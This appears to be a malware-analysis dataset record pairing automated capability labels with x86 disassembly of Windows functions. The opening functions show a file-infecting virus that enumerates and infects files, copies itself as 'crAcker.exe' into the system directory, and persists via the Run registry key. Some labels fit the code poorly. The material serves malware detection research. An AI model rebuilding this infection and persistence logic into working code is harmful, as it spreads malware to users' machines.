joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401520
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov byte [ebp - 0x18], 0x2a
mov byte [ebp - 0x17], 0x2a
mov byte [ebp - 0x16], 0x2a
mov dword [esp + 4], 0x4040be
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [0x405014], eax
cmp dword [0x405014], 0
jne 0x40155f
mov dword [ebp - 0x1c], 0
jmp 0x4016bd
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [0x405014]
mov dword [esp], eax
call sym._fseek
mov eax, dword [0x405014]
mov dword [esp], eax
call sym._ftell
mov dword [0x405140], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [0x405014]
mov dword [esp], eax
call sym._fseek
mov eax, dword [0x405140]
mov dword [esp], eax
call sym._malloc
mov dword [0x405138], eax
mov eax, dword [0x405014]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov eax, dword [0x405140]
mov dword [esp + 4], eax
mov eax, dword [0x405138]
mov dword [esp], eax
call sym._fread
mov eax, dword [0x405014]
mov dword [esp], eax
call sym._fclose
mov dword [esp + 4], 0x4040c1
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fopen
mov dword [0x405010], eax
cmp dword [0x405010], 0
jne 0x40162b
mov eax, dword [0x405138]
mov dword [esp], eax
call sym._free
mov dword [ebp - 0x1c], 0
jmp 0x4016bd
mov eax, dword [0x405010]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 0x6e6e
mov eax, dword [0x405134]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [0x405010]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 3
lea eax, [ebp - 0x18]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [0x405010]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov eax, dword [0x405140]
mov dword [esp + 4], eax
mov eax, dword [0x405138]
mov dword [esp], eax
call sym._fwrite
mov eax, dword [0x405010]
mov dword [esp], eax
call sym._fclose
mov eax, dword [0x405138]
mov dword [esp], eax
call sym._free
mov dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
leave
ret
Function at 0x4016c2
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4a8
mov dword [esp], 0x3a98
call sub.KERNEL32.DLL_Sleep
sub esp, 4
mov dword [ebp - 0x48c], 0
mov eax, dword [ebp - 0x48c]
cmp dword [eax*4 + section..data], 0
je 0x4016cb
mov eax, dword [ebp - 0x48c]
mov eax, dword [eax*4 + section..data]
mov dword [esp + 4], eax
lea eax, [ebp - 0x378]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x48c]
mov eax, dword [eax*4 + section..data]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s.
lea eax, [ebp - 0x268]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x148]
mov dword [esp + 4], eax
lea eax, [ebp - 0x268]
mov dword [esp], eax
call sub.KERNEL32.DLL_FindFirstFileA
sub esp, 8
mov dword [ebp - 0x14c], eax
lea eax, [ebp - 0x148]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x14c]
mov dword [esp], eax
call sub.KERNEL32.DLL_FindNextFileA
sub esp, 8
test eax, eax
je 0x4017f7
cmp dword [ebp - 0x148], 0x20
jne 0x40175b
mov eax, dword [ebp - 0x48c]
mov dword [esp + 4], 0x404000
mov eax, dword [eax*4 + section..data]
mov dword [esp], eax
call sym._strcmp
test eax, eax
jne 0x4017b7
lea eax, [ebp - 0x148]
add eax, 0x2c
mov dword [esp], eax
call sym._infect_char_
jmp 0x40175b
lea eax, [ebp - 0x148]
add eax, 0x2c
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x378]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s
lea eax, [ebp - 0x488]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x488]
mov dword [esp], eax
call sym._infect_char_
jmp 0x40175b
mov eax, dword [ebp - 0x14c]
mov dword [esp], eax
call sub.KERNEL32.DLL_CloseHandle
sub esp, 4
lea eax, [ebp - 0x48c]
inc dword [eax]
jmp 0x4016e4
Function at 0x401a78
Capabilities:
Copy file
Get common file path
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
sub esp, 4
mov edx, eax
mov dword [esp + 8], 0x103
lea eax, [ebp - 0x128]
mov dword [esp + 4], eax
mov dword [esp], edx
call sub.KERNEL32.DLL_GetModuleFileNameA
sub esp, 0xc
mov dword [esp + 4], 0x103
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
sub esp, 8
mov dword [esp + 4], str.crAcker.exe
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._strcat
lea eax, [ebp - 0x238]
lea edx, [ebp - 0x128]
mov dword [esp + 4], eax
mov dword [esp], edx
call sym._strcmp
test eax, eax
je 0x401b9f
mov dword [esp + 8], 0
lea eax, [ebp - 0x238]
mov dword [esp + 4], eax
lea eax, [ebp - 0x128]
mov dword [esp], eax
call sub.KERNEL32.DLL_CopyFileA
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
call sub.ADVAPI32.DLL_RegOpenKeyExA
sub esp, 0x14
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x238]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Win32.crAcker.A
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegSetValueExA
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sub.ADVAPI32.DLL_RegCloseKey
sub esp, 4
mov eax, 0
leave
ret

Function at 0x401bb0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.00402110
call sym.___main
call sub.KERNEL32.DLL_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.DLL_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x401be8
jmp 0x401c86
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x401be7
cmp cl, 0x22
je 0x401c40
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x401c60
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x401c60
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x401c20
jmp 0x401c60
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x401c40
cmp cl, 0x22
je 0x401cc2
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x401c80
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete dl
cmp cl, 9
sete al
or eax, edx
test al, 1
jne 0x401c70
mov dword [esp], 0
call sub.KERNEL32.DLL_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x401ca4
movzx edx, word [ebp - 0x28]
mov dword [esp + 8], ebx
xor ebx, ebx
mov dword [esp + 4], ebx
mov dword [esp + 0xc], edx
mov dword [esp], eax
call sym._WinMain_16
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x401c60

Function at 0x402480
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp sym.___do_sjlj_init
Function at 0x402e06
Capabilities:
Encode data using xor

Disassembly:
cmp dword [0x4151c4], 0
jne 0x402e14
call fcn.00402ddc
mov ecx, dword [esp + 8]
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0x10]
push edi
test esi, esi
jbe 0x402e41
test cl, 7
je 0x402e41
movzx edx, byte [ecx]
movzx edi, al
xor edx, edi
shr eax, 8
xor eax, dword [edx*4 + 0x4151c0]
dec esi
inc ecx
jmp 0x402e22
cmp esi, 8
jb 0x402ec5
mov edi, esi
shr edi, 3
xor eax, dword [ecx]
add ecx, 8
movzx edx, al
shr eax, 8
xor eax, dword [edx*4 + 0x4151c0]
sub esi, 8
movzx edx, al
shr eax, 8
xor eax, dword [edx*4 + 0x4151c0]
movzx edx, al
shr eax, 8
xor eax, dword [edx*4 + 0x4151c0]
mov edx, eax
movzx eax, dl
mov eax, dword [eax*4 + 0x4151c0]
xor eax, dword [ecx - 4]
shr edx, 8
xor eax, edx
movzx edx, al
shr eax, 8
xor eax, dword [edx*4 + 0x4151c0]
movzx edx, al
shr eax, 8
xor eax, dword [edx*4 + 0x4151c0]
movzx edx, al
shr eax, 8
xor eax, dword [edx*4 + 0x4151c0]
movzx edx, al
shr eax, 8
xor eax, dword [edx*4 + 0x4151c0]
dec edi
jne 0x402e4b
xor edx, edx
test esi, esi
jbe 0x402ee5
push ebx
movzx edi, byte [edx + ecx]
movzx ebx, al
xor edi, ebx
shr eax, 8
xor eax, dword [edi*4 + 0x4151c0]
inc edx
cmp edx, esi
jb 0x402ecc
pop ebx
pop edi
pop esi
ret 0xc
Function at 0x404fcb
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x30c0
call fcn.00401200
push ebx
push esi
push edi
lea ecx, [ebp - 0x30c0]
call fcn.00403804
xor edi, edi
push edi
lea eax, [ebp - 0x30c0]
push eax
push dword [ebp + 8]
push edi
call fcn.004065a4
test al, al
je 0x405170
cmp word [ebp - 0x2440], di
je 0x405170
lea eax, [ebp - 0x2440]
push eax
lea eax, [ebp - 0x2cc0]
push eax
call fcn.00407bb0
push eax
call fcn.0040f0ab
test eax, eax
je 0x405170
lea eax, [ebp - 0x2440]
push eax
push dword [ebp + 8]
call fcn.00407bb0
push eax
call fcn.0040f0ab
test eax, eax
jne 0x405170
mov word [ebp - 0x800], ax
xor ebx, ebx
mov esi, 0x400
cmp word [ebp - 0x800], di
jne 0x4050c1
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x800]
push eax
call fcn.0040e85b
push ebx
push str.rtmp_d
push esi
lea eax, [ebp - 0x800]
push eax
call fcn.00407bb0
push eax
call fcn.0040b124
add esp, 0x10
lea eax, [ebp - 0x800]
push eax
push edi
call fcn.00405ce0
test al, al
je 0x4050a9
xor eax, eax
mov word [ebp - 0x800], ax
add ebx, 0x7b
cmp ebx, 0x2710
jl 0x40505a
cmp word [ebp - 0x800], di
je 0x405170
push esi
push dword [ebp + 8]
lea eax, [ebp - 0x1000]
push eax
call fcn.0040e85b
lea eax, [ebp - 0x2cc0]
push eax
call fcn.00407bb0
push eax
lea eax, [ebp - 0x1000]
push eax
call fcn.00407bb0
push eax
call fcn.0040af10
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileW]
lea eax, [ebp - 0x800]
push eax
lea eax, [ebp - 0x1000]
push eax
call esi
test eax, eax
je 0x405170
lea ecx, [ebp - 0x1c20]
call fcn.004053dc
push dword [ebp + 8]
xor bl, bl
push edi
call fcn.00405ce0
test al, al
jne 0x405137
push 1
push dword [ebp + 8]
lea ecx, [ebp - 0x1c20]
push edi
call fcn.00405729
mov bl, al
lea eax, [ebp - 0x1000]
push eax
lea eax, [ebp - 0x800]
push eax
call esi
test bl, bl
je 0x405161
lea ecx, [ebp - 0x1c20]
call fcn.00405447
lea ecx, [ebp - 0x1c20]
call fcn.004054cc
lea ecx, [ebp - 0x1c20]
call fcn.004055c1
mov al, 1
jmp 0x405172
xor al, al
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x4055e4
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
mov dword [esi + 0xc18], ebx
cmp byte [esi + 0x16], bl
je 0x4055fe
mov byte [ebp + 0x10], 1
mov dword [ebp - 4], 0x80000000
cmp byte [ebp + 0x14], bl
je 0x405611
mov dword [ebp - 4], 0xc0000000
mov dword [ebp + 0x14], 1
cmp byte [ebp + 0x10], bl
je 0x405624
mov dword [ebp + 0x14], 3
xor eax, eax
cmp byte [esi + 0x15], bl
setne al
dec eax
and eax, 0x8000000
mov edi, eax
call fcn.0040740d
test eax, eax
je 0x40565d
mov eax, dword [ebp + 0xc]
cmp eax, ebx
je 0x40565d
cmp word [eax], bx
je 0x40565d
push ebx
push edi
push 3
push ebx
push dword [ebp + 0x14]
push dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
jmp 0x405671
push ebx
push edi
push 3
push ebx
push dword [ebp + 0x14]
push dword [ebp - 4]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40568d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x40568d
mov dword [esi + 0xc18], 1
cmp edi, 0xffffffff
setne byte [ebp + 0x13]
mov byte [esi + 0x12], bl
mov dword [esi + 0xc], ebx
mov byte [esi + 0x10], bl
cmp byte [ebp + 0x13], bl
je 0x4056ef
mov dword [esi + 4], edi
cmp dword [ebp + 0xc], ebx
je 0x4056bb
push dword [ebp + 0xc]
lea eax, [esi + 0x418]
push eax
call fcn.0040af10
jmp 0x4056c4
xor eax, eax
mov word [esi + 0x418], ax
lea eax, [esi + 0x17]
cmp dword [ebp + 8], ebx
je 0x4056d7
push dword [ebp + 8]
push eax
call fcn.0040ada5
jmp 0x4056e5
push 0x1000000
push eax
push dword [ebp + 0xc]
call fcn.0040ee98
push dword [esi + 4]
mov ecx, esi
call fcn.00405420
mov al, byte [ebp + 0x13]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x405826
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, ecx
cmp dword [edi + 0xc], 1
mov esi, 0x4e20
jne 0x40584c
cmp dword [ebp + 0xc], esi
jbe 0x405841
mov dword [ebp + 0xc], esi
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [edi + 4], eax
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x40589c
mov ecx, edi
call fcn.0040559e
test al, al
je 0x405882
cmp dword [ebp + 0xc], esi
jbe 0x405882
push esi
push dword [ebp + 8]
mov ecx, edi
call fcn.00405826
jmp 0x40589f
cmp dword [edi + 0xc], 1
jne 0x405897
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x6d
jne 0x405897
xor eax, eax
jmp 0x40589f
or eax, 0xffffffff
jmp 0x40589f
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret 8
Function at 0x405ae0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [ebp + 0xc], 0
push esi
mov esi, ecx
je 0x405bf0
mov eax, dword [esi + 0xc]
test eax, eax
je 0x405b0d
dec eax
je 0x405b02
dec eax
jne 0x405b0d
push 0xfffffffffffffff4
jmp 0x405b04
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [esi + 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
xor edi, edi
mov dword [ebp - 4], edi
cmp dword [esi + 0xc], edi
je 0x405b5c
cmp dword [ebp + 0xc], edi
jbe 0x405b77
mov ecx, dword [ebp + 0xc]
sub ecx, edi
mov eax, 0x4000
cmp ecx, eax
jae 0x405b34
mov eax, ecx
push 0
lea ecx, [ebp - 4]
push ecx
push eax
mov eax, dword [ebp + 8]
add eax, edi
push eax
push dword [esi + 4]
call ebx
dec eax
neg eax
sbb al, al
inc al
je 0x405b77
add edi, 0x4000
cmp edi, dword [ebp + 0xc]
jb 0x405b24
jmp 0x405b73
push edi
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 4]
call ebx
dec eax
neg eax
sbb al, al
inc al
test al, al
jne 0x405bea
cmp byte [esi + 0x14], 0
je 0x405bea
cmp dword [esi + 0xc], 0
jne 0x405bea
push 0
lea eax, [esi + 0x418]
push eax
lea eax, [esi + 0x17]
mov edi, 0x415e7c
push eax
mov ecx, edi
call fcn.00403492
test al, al
je 0x405bd4
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0xc]
jae 0x405b15
test eax, eax
jbe 0x405b15
push 0
mov ecx, esi
call fcn.004054fc
mov ecx, dword [ebp - 4]
xor edi, edi
sub eax, ecx
sbb edx, edi
push edx
push eax
mov ecx, esi
call fcn.00405a41
jmp 0x405b15
lea eax, [esi + 0x418]
push eax
lea eax, [esi + 0x17]
push eax
push 0
push 0
mov ecx, edi
call fcn.0040370b
pop edi
mov byte [esi + 8], 1
pop ebx
pop esi
leave
ret 8

Function at 0x405ce0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
call fcn.0040740d
test eax, eax
je 0x405d0a
mov eax, dword [esp + 8]
test eax, eax
je 0x405d0a
cmp word [eax], 0
je 0x405d0a
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov al, cl
jmp 0x405d27
cmp dword [esp + 4], 0
je 0x405d25
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x405d25
xor eax, eax
inc eax
jmp 0x405d27
xor eax, eax
ret 8

Function at 0x405d55
Capabilities:
Get file attributes

Disassembly:
call fcn.0040740d
test eax, eax
je 0x405d75
mov eax, dword [esp + 8]
test eax, eax
je 0x405d75
cmp word [eax], 0
je 0x405d75
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
jmp 0x405d7f
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
ret 8

Function at 0x405d82
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
call fcn.0040740d
test eax, eax
je 0x405da7
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x405da7
cmp word [eax], 0
je 0x405da7
push dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
jmp 0x405db9
cmp dword [ebp + 8], 0
je 0x405dc0
push dword [ebp + 0x10]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
test eax, eax
setne al
jmp 0x405dc2
xor al, al
pop ebp
ret 0xc
Function at 0x405df8
Capabilities:
Check if file exists
Create directory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
call fcn.0040740d
mov esi, dword [ebp + 0xc]
xor ebx, ebx
test eax, eax
je 0x405e1e
cmp esi, ebx
je 0x405e1e
cmp word [esi], bx
je 0x405e1e
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
jmp 0x405e2d
cmp dword [ebp + 8], ebx
je 0x405e5b
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp eax, ebx
je 0x405e46
cmp byte [ebp + 0x10], bl
je 0x405e42
push dword [ebp + 0x14]
push esi
push dword [ebp + 8]
call fcn.00405d82
xor eax, eax
jmp 0x405e5e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x405e5b
cmp eax, 3
je 0x405e5b
xor eax, eax
inc eax
jmp 0x405e5e
push 2
pop eax
pop esi
pop ebx
pop ebp
ret 0x10
Function at 0x406a5c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor ebx, ebx
push edi
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
call esi
mov edi, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [edi]
lea ecx, [ebp - 8]
push ecx
push edi
call dword [eax + 0x48]
test eax, eax
jl 0x406a8e
cmp dword [ebp - 8], ebx
jne 0x406acf
call esi
sub eax, dword [ebp - 0xc]
cmp eax, 0x2710
ja 0x406acf
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x406a7b
push ebx
push ebx
push ebx
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x406a7b
mov eax, dword [ebp - 8]
cmp eax, ebx
je 0x406b0f
mov ecx, dword [eax]
lea edx, [ebp - 4]
push edx
push 0x413b80
push eax
call dword [ecx]
test eax, eax
jl 0x406b0f
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x20]
test eax, eax
jl 0x406b06
mov eax, dword [ebp - 4]
push dword [ebp + 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
test eax, eax
setge bl
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
pop edi
pop esi
mov al, bl
pop ebx
leave
ret 8
Function at 0x4072bc
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov esi, ecx
cmp byte [esi + 0x14], 0
push edi
jne 0x4072df
push 0
call dword [sym.imp.ole32.dll_OleInitialize]
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
mov byte [esi + 0x14], 1
mov ebx, dword [sym.imp.USER32.dll_ShowWindow]
push 0
push dword [ebp + 0xc]
mov byte [esi + 0x15], 0
call ebx
push dword [ebp + 8]
mov ecx, esi
call fcn.00407255
mov eax, dword [ebp + 0x10]
mov dword [esi + 0x10], eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_GetWindowRect]
mov edi, dword [sym.imp.USER32.dll_GetParent]
push 2
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
call edi
push eax
push 0
call dword [sym.imp.USER32.dll_MapWindowPoints]
mov eax, dword [esi + 4]
test eax, eax
je 0x407335
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
push esi
push dword [esi]
push 0
push dword [ebp + 0xc]
call edi
mov ecx, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0xc]
xor edi, edi
push eax
mov eax, dword [ebp - 0x10]
sub ecx, eax
dec ecx
dec ecx
push ecx
push dword [ebp - 0xc]
inc eax
push eax
push 0x40000000
push edi
push str.RarHtmlClassName
push edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [esi + 4], eax
cmp eax, edi
je 0x407380
push 5
push eax
call ebx
push dword [esi + 4]
call dword [sym.imp.USER32.dll_UpdateWindow]
cmp byte [esi + 0x15], 0
je 0x407395
cmp dword [esi + 0x18], 0x64
jbe 0x407406
mov ecx, esi
call fcn.00406c4c
jmp 0x407406
mov eax, dword [esi + 4]
cmp eax, edi
je 0x4073a6
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
mov dword [esi + 4], edi
push 5
push dword [ebp + 0xc]
call ebx
push dword [ebp + 0x10]
call fcn.0040aee6
imul eax, eax, 0xc
add eax, 0x200
push eax
call fcn.0040ab1a
push dword [ebp + 0x10]
mov ebx, eax
push ebx
call fcn.0040af10
push ebx
mov ecx, esi
call fcn.00406b18
test al, al
jne 0x4073e2
push ebx
mov ecx, esi
call fcn.00406b4e
push ebx
mov ecx, esi
call fcn.00406f4d
push ebx
mov esi, eax
call fcn.0040ab33
cmp esi, edi
je 0x407406
push esi
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_SetWindowTextW]
push esi
call fcn.0040ab33
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x40a02e
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x844
push ebx
push esi
push edi
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0xc]
mov dword [ebp - 0x10], ecx
call fcn.00409f4b
mov ebx, dword [sym.imp.USER32.dll_GetWindowRect]
mov byte [ebp - 1], al
lea eax, [ebp - 0x24]
push eax
push dword [ebp + 8]
call ebx
lea eax, [ebp - 0x44]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetClientRect]
mov edi, dword [ebp - 0x1c]
sub edi, dword [ebp - 0x3c]
mov esi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x38]
sub edi, dword [ebp - 0x24]
sub esi, eax
sub esi, dword [ebp - 0x20]
inc edi
inc esi
cmp byte [ebp - 1], 0
je 0x40a0bb
cmp byte [ebp + 0x10], 0
jne 0x40a100
imul eax, dword [ebp - 8]
push 0x206
cdq
push 0x64
pop ecx
idiv ecx
add eax, esi
push eax
mov eax, dword [ebp - 0x3c]
imul eax, dword [ebp - 0xc]
cdq
idiv ecx
add eax, edi
push eax
xor eax, eax
push eax
push eax
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetWindowPos]
cmp byte [ebp + 0x10], 0
jne 0x40a100
push 0x400
lea eax, [ebp - 0x844]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowTextW]
push dword [ebp + 0xc]
mov ecx, dword [ebp - 0x10]
push 1
push 0x400
lea eax, [ebp - 0x844]
push eax
push eax
call fcn.00409e06
lea eax, [ebp - 0x844]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetWindowTextW]
push 8
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push 5
push dword [ebp + 8]
sub esi, eax
call dword [sym.imp.USER32.dll_GetWindow]
and dword [ebp + 8], 0
mov dword [ebp + 0x10], eax
mov dword [ebp - 0x14], eax
jmp 0x40a1fc
cmp dword [ebp + 8], 0x200
jge 0x40a204
push 0x400
lea eax, [ebp - 0x844]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.USER32.dll_GetWindowTextW]
cmp word [ebp - 0x844], 0
je 0x40a17a
push dword [ebp + 0xc]
mov ecx, dword [ebp - 0x10]
push 1
push 0x400
lea eax, [ebp - 0x844]
push eax
push eax
call fcn.00409e06
lea eax, [ebp - 0x844]
push eax
push dword [ebp + 0x10]
call dword [sym.imp.USER32.dll_SetWindowTextW]
cmp byte [ebp - 1], 0
je 0x40a1e6
lea eax, [ebp - 0x34]
push eax
push dword [ebp + 0x10]
call ebx
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp - 0x30]
push 0x204
inc eax
imul eax, dword [ebp - 8]
cdq
push 0x64
pop ecx
idiv ecx
push eax
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x34]
inc eax
imul eax, dword [ebp - 0xc]
cdq
idiv ecx
push eax
mov eax, dword [ebp - 0x30]
sub eax, dword [ebp - 0x20]
sub eax, esi
imul eax, dword [ebp - 8]
cdq
idiv ecx
push eax
mov eax, edi
cdq
sub eax, edx
mov ecx, eax
mov eax, dword [ebp - 0x34]
sar ecx, 1
sub eax, ecx
sub eax, dword [ebp - 0x24]
push 0x64
imul eax, dword [ebp - 0xc]
pop ecx
cdq
idiv ecx
push eax
push 0
push dword [ebp + 0x10]
call dword [sym.imp.USER32.dll_SetWindowPos]
push 2
push dword [ebp + 0x10]
call dword [sym.imp.USER32.dll_GetWindow]
mov dword [ebp + 0x10], eax
cmp eax, dword [ebp - 0x14]
je 0x40a204
inc dword [ebp + 8]
test eax, eax
jne 0x40a124
pop edi
pop esi
pop ebx
leave
ret 0xc